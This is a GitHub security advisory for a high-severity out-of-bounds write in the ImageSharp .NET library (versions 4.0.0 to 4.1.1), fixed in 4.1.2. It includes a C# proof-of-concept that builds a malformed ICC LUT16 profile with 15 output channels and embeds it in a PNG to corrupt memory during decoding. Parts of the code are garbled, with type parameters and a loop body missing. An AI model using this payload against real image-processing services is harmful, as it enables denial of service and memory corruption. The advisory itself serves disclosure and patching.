GitHub Advisoryadvisory · NuGet

GHSA-ffp7-56pq-64mr ImageSharp: ICC LUT16 output channel count can write beyond Vector4

HIGH Published 2026-10-07 Modified 2026-10-07 Official page ↗
Aliases
CVE-2026-106112
Ecosystem
NuGet
Packages
SixLabors.ImageSharp
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Weaknesses
CWE-787
Reviewed
2026-10-07

Affected packages

• NuGet SixLabors.ImageSharp: >= 4.0.0, < 4.1.2 → fixed in 4.1.2

Description

Summary When ICC conversion is enabled, a malformed embedded ICC LUT16 profile with more than four output channels can corrupt memory during ImageSharp color conversion. The ICC parser accepts up to 15 CLUT output channels, while the conversion implementation stores intermediate values in `Vector4`. Affected package and versions • Package: `SixLabors.ImageSharp` (NuGet) • Affected published releases: 4.0.0, 4.1.0, and 4.1.1 • Affected range: `>= 4.0.0, bytes = stackalloc byte[4]; BinaryPrimitives.WriteUInt32BigEndian(bytes, value); stream.Write(bytes); } private static void U16(Stream stream, ushort value) { Span bytes = stackalloc byte[2]; BinaryPrimitives.WriteUInt16BigEndian(bytes, value); stream.Write(bytes); } private static void Fixed16(Stream stream, double value) => U32(stream, unchecked((uint)(int)Math.Round(value * 65536D))); // A valid-enough RGB-to-XYZ LUT16 A2B0 profile. The only exploit/control // difference is outCh: 15 is accepted by ICC parsing but cannot fit Vector4. private static byte[] BuildIcc(int outCh) { const int inCh = 3; const int clutPoints = 2; const int tableEntries = 2; using var stream = new MemoryStream(); byte[] header = new byte[128]; BinaryPrimitives.WriteUInt32BigEndian(header.AsSpan(8), 0x04300000); // ICC v4.3 Encoding.ASCII.GetBytes("mntr").CopyTo(header, 12); // display device Encoding.ASCII.GetBytes("RGB ").CopyTo(header, 16); Encoding.ASCII.GetBytes("XYZ ").CopyTo(header, 20); stream.Write(header); U32(stream, 1); // one tag stream.Write(Encoding.ASCII.GetBytes("A2B0")); long offsetField = stream.Position; U32(stream, 0); long sizeField = stream.Position; U32(stream, 0); long tagStart = stream.Position; stream.Write(Encoding.ASCII.GetBytes("mft2")); U32(stream, 0); stream.WriteByte(inCh); stream.WriteByte((byte)outCh); stream.WriteByte(clutPoints); stream.WriteByte(0); for (int y = 0; y (16, 16); source.Metadata.IccProfile = new IccProfile(icc); using var encoded = new MemoryStream(); source.SaveAsPng(encoded); return encoded.ToArray(); } public static int Main(string[] args) { string mode = args.Length == 1 ? args[0] : "exploit"; if (mode is not ("exploit" or "control")) throw new ArgumentException("mode must be exploit or control"); int outputChannels = mode == "exploit" ? 15 : 3; Console.WriteLine($"mode={mode} output_channels={outputChannels}"); Console.WriteLine($"imagesharp_assembly={typeof(Image).Assembly.Location}"); Console.WriteLine($"imagesharp_version={typeof(Image).Assembly.GetCustomAttribute()?.InformationalVersion}"); byte[] png = BuildPng(BuildIcc(outputChannels)); Console.WriteLine($"png_bytes={png.Length}"); var options = new DecoderOptions { ColorProfileHandling = ColorProfileHandling.Convert }; using Image image = Image.Load(options, png); Console.WriteLine("decode_completed"); return 0; } } ``` Project file: ```xml Exe net8.0 disable enable <Reference Include="SixLabor…

Related

Alias · CVE (1)

Weakness · CWE (1)

  • CWE-787 Out-of-bounds Write weakness

References